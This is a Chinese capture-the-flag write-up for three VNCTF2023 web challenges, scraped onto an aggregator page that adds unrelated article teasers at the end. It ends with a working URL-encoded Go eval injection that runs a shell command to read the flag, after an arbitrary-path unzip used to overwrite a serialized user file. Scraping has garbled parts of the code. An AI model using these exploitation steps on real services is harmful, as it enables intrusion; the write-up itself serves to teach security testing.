公司网站简介开发定制软件系统

news/2025/9/24 19:08:35/文章来源:
公司网站简介,开发定制软件系统,怎么做代理ip网站,阳江做网站详细解读文章目录 象棋王子电子木鱼BabyGo 象棋王子 考点#xff1a;前端js代码审计 直接查看js源码#xff0c;搜一下alert 丢到控制台即可 电子木鱼 考点#xff1a;整数溢出 main.rs我们分段分析 首先这段代码是一个基于Rust的web应用程序中的路由处理函数。它使用了Rust的异步… 文章目录 象棋王子电子木鱼BabyGo 象棋王子 考点前端js代码审计 直接查看js源码搜一下alert 丢到控制台即可 电子木鱼 考点整数溢出 main.rs我们分段分析 首先这段代码是一个基于Rust的web应用程序中的路由处理函数。它使用了Rust的异步框架Actix和模板引擎Tera。 然后就是定义了不同结构体并且自动生成了序列化 #[derive(Serialize)] struct APIResult {success: bool,message: static str, }#[derive(Deserialize)] struct Info {name: String,quantity: i32, }#[derive(Debug, Copy, Clone, Serialize)] struct Payload {name: static str,cost: i32, }给了payload列表 const PAYLOADS: [Payload] [Payload {name: Cost,cost: 10,},Payload {name: Loan,cost: -1_000,},Payload {name: CCCCCost,cost: 500,},Payload {name: Donate,cost: 1,},Payload {name: Sleep,cost: 0,}, ];然后看向/路由 #[get(/)] async fn index(tera: web::DataTera) - ResultHttpResponse, Error {let mut context Context::new();context.insert(gongde, GONGDE.get());if GONGDE.get() 1_000_000_000 {context.insert(flag,std::env::var(FLAG).unwrap_or_else(|_| flag{test_flag}.to_string()),);}match tera.render(index.html, context) {Ok(body) Ok(HttpResponse::Ok().body(body)),Err(err) Err(error::ErrorInternalServerError(err)),} }在函数内部首先创建了一个Context对象。然后通过context.insert(gongde,GONGDE.get())将名为gongde的变量插入到上下文中其值使用了一个全局变量GONGDE的get()方法来获取。接下来通过判断GONGDE.get()的值是否大于1,000,000,000如果是则返回flag 最后分析/upgrade路由 #[post(/upgrade)] async fn upgrade(body: web::FormInfo) - JsonAPIResult {if GONGDE.get() 0 {return web::Json(APIResult {success: false,message: 功德都搞成负数了佛祖对你很失望,});}if body.quantity 0 {return web::Json(APIResult {success: false,message: 佛祖面前都敢作弊真不怕遭报应啊,});}if let Some(payload) PAYLOADS.iter().find(|u| u.name body.name) {let mut cost payload.cost;if payload.name Donate || payload.name Cost {cost * body.quantity;}if GONGDE.get() cost as i32 {return web::Json(APIResult {success: false,message: 功德不足,});}if cost ! 0 {GONGDE.set(GONGDE.get() - cost as i32);}if payload.name Cost {return web::Json(APIResult {success: true,message: 小扣一手功德,});} else if payload.name CCCCCost {return web::Json(APIResult {success: true,message: 功德都快扣没了怎么睡得着的,});} else if payload.name Loan {return web::Json(APIResult {success: true,message: 我向佛祖许愿佛祖借我功德快说谢谢佛祖,});} else if payload.name Donate {return web::Json(APIResult {success: true,message: 好人有好报,});} else if payload.name Sleep {return web::Json(APIResult {success: true,message: 这是什么床睡一下,});}}web::Json(APIResult {success: false,message: 禁止开摆,}) }POST接收info结构体的参数进行解析然后返回json格式的APIResult类型的值然后判断GONGDE.get() 的值是否小于0POST请求参数quantity值是否小于等于0如果name的值等于Donate或者Cost进行自乘如果大于i32则会造成整数溢出 i32 是 Rust 编程语言中的一种整数类型。它代表有符号的 32 位整数可以存储的整数范围为 -2,147,483,648 到 2,147,483,647。 nameLoanquantity11451411发现成功加了1000功德 然后修改name为Cost 得到flag BabyGo 考点文件覆盖、go沙箱逃逸 源码如下 package mainimport (encoding/gobfmtgithub.com/PaulXu-cn/goevalgithub.com/duke-git/lancet/cryptorgithub.com/duke-git/lancet/fileutilgithub.com/duke-git/lancet/randomgithub.com/gin-contrib/sessionsgithub.com/gin-contrib/sessions/cookiegithub.com/gin-gonic/ginnet/httpospath/filepathstrings )type User struct {Name stringPath stringPower string }func main() {r : gin.Default()store : cookie.NewStore(random.RandBytes(16))r.Use(sessions.Sessions(session, store))r.LoadHTMLGlob(template/*)r.GET(/, func(c *gin.Context) {userDir : /tmp/ cryptor.Md5String(c.ClientIP()VNCTF2023GoGoGo~) /session : sessions.Default(c)session.Set(shallow, userDir)session.Save()fileutil.CreateDir(userDir)gobFile, _ : os.Create(userDir user.gob)user : User{Name: ctfer, Path: userDir, Power: low}encoder : gob.NewEncoder(gobFile)encoder.Encode(user)if fileutil.IsExist(userDir) fileutil.IsExist(userDiruser.gob) {c.HTML(200, index.html, gin.H{message: Your path: userDir})return}c.HTML(500, index.html, gin.H{message: failed to make user dir})})r.GET(/upload, func(c *gin.Context) {c.HTML(200, upload.html, gin.H{message: upload me!})})r.POST(/upload, func(c *gin.Context) {session : sessions.Default(c)if session.Get(shallow) nil {c.Redirect(http.StatusFound, /)}userUploadDir : session.Get(shallow).(string) uploads/fileutil.CreateDir(userUploadDir)file, err : c.FormFile(file)if err ! nil {c.HTML(500, upload.html, gin.H{message: no file upload})return}ext : file.Filename[strings.LastIndex(file.Filename, .):]if ext .gob || ext .go {c.HTML(500, upload.html, gin.H{message: Hacker!})return}filename : userUploadDir file.Filenameif fileutil.IsExist(filename) {fileutil.RemoveFile(filename)}err c.SaveUploadedFile(file, filename)if err ! nil {c.HTML(500, upload.html, gin.H{message: failed to save file})return}c.HTML(200, upload.html, gin.H{message: file saved to filename})})r.GET(/unzip, func(c *gin.Context) {session : sessions.Default(c)if session.Get(shallow) nil {c.Redirect(http.StatusFound, /)}userUploadDir : session.Get(shallow).(string) uploads/files, _ : fileutil.ListFileNames(userUploadDir)destPath : filepath.Clean(userUploadDir c.Query(path))for _, file : range files {if fileutil.MiMeType(userUploadDirfile) application/zip {err : fileutil.UnZip(userUploadDirfile, destPath)if err ! nil {c.HTML(200, zip.html, gin.H{message: failed to unzip file})return}fileutil.RemoveFile(userUploadDir file)}}c.HTML(200, zip.html, gin.H{message: success unzip})})r.GET(/backdoor, func(c *gin.Context) {session : sessions.Default(c)if session.Get(shallow) nil {c.Redirect(http.StatusFound, /)}userDir : session.Get(shallow).(string)if fileutil.IsExist(userDir user.gob) {file, _ : os.Open(userDir user.gob)decoder : gob.NewDecoder(file)var ctfer Userdecoder.Decode(ctfer)if ctfer.Power admin {eval, err : goeval.Eval(, fmt.Println(\Good\), c.DefaultQuery(pkg, fmt))if err ! nil {fmt.Println(err)}c.HTML(200, backdoor.html, gin.H{message: string(eval)})return} else {c.HTML(200, backdoor.html, gin.H{message: low power})return}} else {c.HTML(500, backdoor.html, gin.H{message: no such user gob})return}})r.Run(:80) }分析一下 /路由下定义了userDir为/tmp/xxx/然后将该值赋值给session的键名shallow接着创建目录读取user.gob并且创建user对象具有三个属性。最后创建了一个新的Gob编码器encoder并使用encoder.Encode方法将user对象编码并写入gobFile文件。通过调用Encode方法user对象的值将被序列化并写入文件中/upload路由就是简单的文件上传功能限制了上传文件类型不能为go和gob/unzip路由定义userUploadDir为session的shallow值拼接上uploads/然后destPath由userUploadDir拼接上GET请求中可控参数名path。也就是说我们可以任意路径文件解压/backdoor路由读取user.gob文件内容判断是否为admin如果是则返回good 整体思路我们利用任意路径文件解压和文件覆盖来实现覆盖user.gob使得身份为admin然后利用/backdoor的eval实现命令执行 我们已经知道user.gob的生成方式 那么我们创建user.go内容如下 package mainimport (encoding/gobos )type User struct {Name stringPath stringPower string }func main() {gobFile, _ : os.Create(user.gob)user : User{Name: ctfer, Path: /tmp/4f0436fe5585d82af7c4545984d58188/, Power: admin}encoder : gob.NewEncoder(gobFile)encoder.Encode(user) }go run一下得到user.gob 然后丢到linux里压缩成zip 上传文件后访问/unzip去解压到对应路径 然后我们访问一下/backdoor成功覆盖 接下来就是如何命令执行 参考文章 这里考点是go语言沙箱逃逸 payload /backdoor?pkgos/exec%0Afmt)%0Afunc%09init()%7B%0Acmd:exec.Command(/bin/sh,-c,cat${IFS}/f*)%0Ares,err:cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessagefmtpython脚本解一下得到flag str [102,108,97,103,123,102,54,52,99,98,52,56,53,45,101,98,57,53,45,52,52,50,99,45,57,99,49,54,45,55,100,102,98,48,52,97,100,102,57,57,101,125,10]for i in range(42):print(chr(str[i]),end)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/916121.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Git 工作树 (worktree)、合并 (merge) 流程、拉取请求 (PR) 机制,以及基线分支概念

提升效率:掌握 Git 工作流中的高阶技巧与基线管理在团队协作和复杂项目开发中,高效使用 Git 远不止 commit 和 push 这么简单。掌握 git worktree、规范的合并流程和 PR 机制,是提升开发效率的关键。本文将为您梳理…

【HD300I 】基于昇腾 310P 的全国产化智能计算模组

产品概述 HD300I 是一款基于昇腾 310P 的全国产化智能计算模组。该模 组将昇腾 310P 芯片集成在了一个 140*80mm 的板卡上,可以作为一 个紧凑的核心模块,进行功能的扩展,能够快速搭建起一个 AI 边缘智 能计算推理的…

mvc做的网站如何发布访问新建网站的评估

2019独角兽企业重金招聘Python工程师标准>>> 俗话说的好啊,“工于利启事,必先善其器”,如果说你的编程功底是一个枪法的话,那么强大的eclipse就是android战士们最好的武器。 这里,我们来总结eclipse的使用技…

新手做网站详细步骤公司装修免费设计

大家好我是苏麟 , 今天聊聊怎么继续使用Java8做项目 . 在做项目的时候突然发现Java8没了 , 我心想 : " 嗯? IDEA出毛病了?" ,经过我仔细检查原来是spring官方不支持Java8了 . IDEA 内置的 Spring Initializr 创建 Spring Boot 新项目时,没有 Java 8 的选…

《密码系统设计》第三周

20231313 张景云《密码系统设计》第三周预习AI对内容的总结 《嗨翻C语言》第四章内容总结 一、多源文件开发核心思想:分而治之 大型程序无需局限于单个源文件,将源代码拆解为小模块(多个源文件),可大幅降低维护难…

详细介绍:Cloudflare 推出 GenAI 安全工具,守护企业数据

详细介绍:Cloudflare 推出 GenAI 安全工具,守护企业数据pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consola…

惠州市+网站开发公司福州做网站建设

如何测试光纤网速?如何测试网速多少兆网速测试的选择有很多,你在安装宽带的时候,网络提供商可能给你介绍到什么网站或者下载什么软件进行网速测试。而不管你使用什么来测试网速,你都不应该只使用一个方法,正确的做法是使用多个方…

宁波网站建设在哪里the7企业中 英文wordpress模板

Moved to http://blog.tangcs.com/2008/06/15/pinvoke-and-marshaling-data-1/转载于:https://www.cnblogs.com/WarrenTang/archive/2008/06/15/1222750.html

论小学教师转移矛盾的方法——以“小组连坐制”为例

前言 本文旨在探讨小学教师转移自己与学生之间矛盾的方法。经过一段时间的教学以后,学生与教师难免产生一些矛盾,而防止冲突的最简单方法就是将矛盾转移出去——毕竟大部分小学生还没有经过系统性的思辨训练,很容易…

编译器与链接器--通俗解释

整理、查找、关联判断力是一个人最重要的能力

VS2022 不支持 .NET Framework 4.0 的解决方法

Visual Studio 2022 默认不再支持 .NET Framework 4.0,这可能导致旧项目无法正常加载或编译。以下是解决此问题的几种方法。示例问题当尝试打开基于 .NET Framework 4.0 的项目时,可能会出现以下错误提示:找不到 .N…

【Origin】数据分析后的图,提取到外部图表

1、想要提取的图2、左边窗口还原,再双击打开该均值图,使其浮动3、在浮窗上右键,点击创建副本即可,左边出现绘图副本 Love for Ever Day

怎么做钓鱼网站万网个人网站

题目描述 小明家住在一条胡同里。胡同里的门牌号都是连续的正整数,由于历史原因,最小的号码并不是从1开始排的。 有一天小明突然发现了有趣的事情: 如果除去小明家不算,胡同里的其它门牌号加起来,刚好是100&#xff01…

做网站关键词加到什么位置园区智慧管理平台

夏天天气炎热,电脑机箱内温度也较高,温度过高会影响电脑性能出现死机等问题,甚至影响硬件寿命。所以给机箱装风扇来散热是非常重要的。那么,机箱风扇怎么装合理呢?机箱风扇的电源线怎么接呢?下面分享一下机箱风...夏天天气炎热&…

做网站图片为什么不清晰个人网页在线制作

作为程序员,持续进步和发展是至关重要的。除了技术能力的提升,还有一些关键的行为和思维方式可以帮助工程师在职业生涯中取得更大的成功。本文将提供六个重要的建议,这些建议将帮助程序员在职业生涯中迈出成功的步伐。 走出舒适区 走出舒适区…

关于外贸公司的网站模板工信部网站备案查询 验证码错误

[vue] 说说你对vue的错误处理的了解? 分为errorCaptured与errorHandler。 errorCaptured是组件内部钩子,可捕捉本组件与子孙组件抛出的错误,接收error、vm、info三个参数,return false后可以阻止错误继续向上抛出。 errorHandler…

P3747 [六省联考 2017] 相逢是问候

首先根据欧拉定理,每个位置最多操作 \(\log\) 次,然后维护一个模数为欧拉函数 \(p\) 的光速幂每次快速用线段树维护,即可做到两只 \(\log\) 了。

WPF Prism register interface and implemented interface service

Install-Package Prism.WPF; Install-Package Prism.DryIOC; //app.xaml <prism:PrismApplication x:Class="WpfApp4.App"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"…

构建一个支撑10万设备的虚拟电厂IoT高效的平台

构建一个支撑10万设备的虚拟电厂IoT高效的平台pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &q…

B1I、B1C、B2a双频北斗卫星定位芯片AT9850B-F7N-22

型号:AT9850B-F7N-22 卫星系统:B1I、B1C、B2a双频 芯片等级:工规 工作温度℃:-40~85 AT9850B-F7N-22是一款高性能低功耗双频单北斗卫星导航接收机SOC单芯片,芯片集成射频前端和数字基带、多模式卫星信号处理引擎…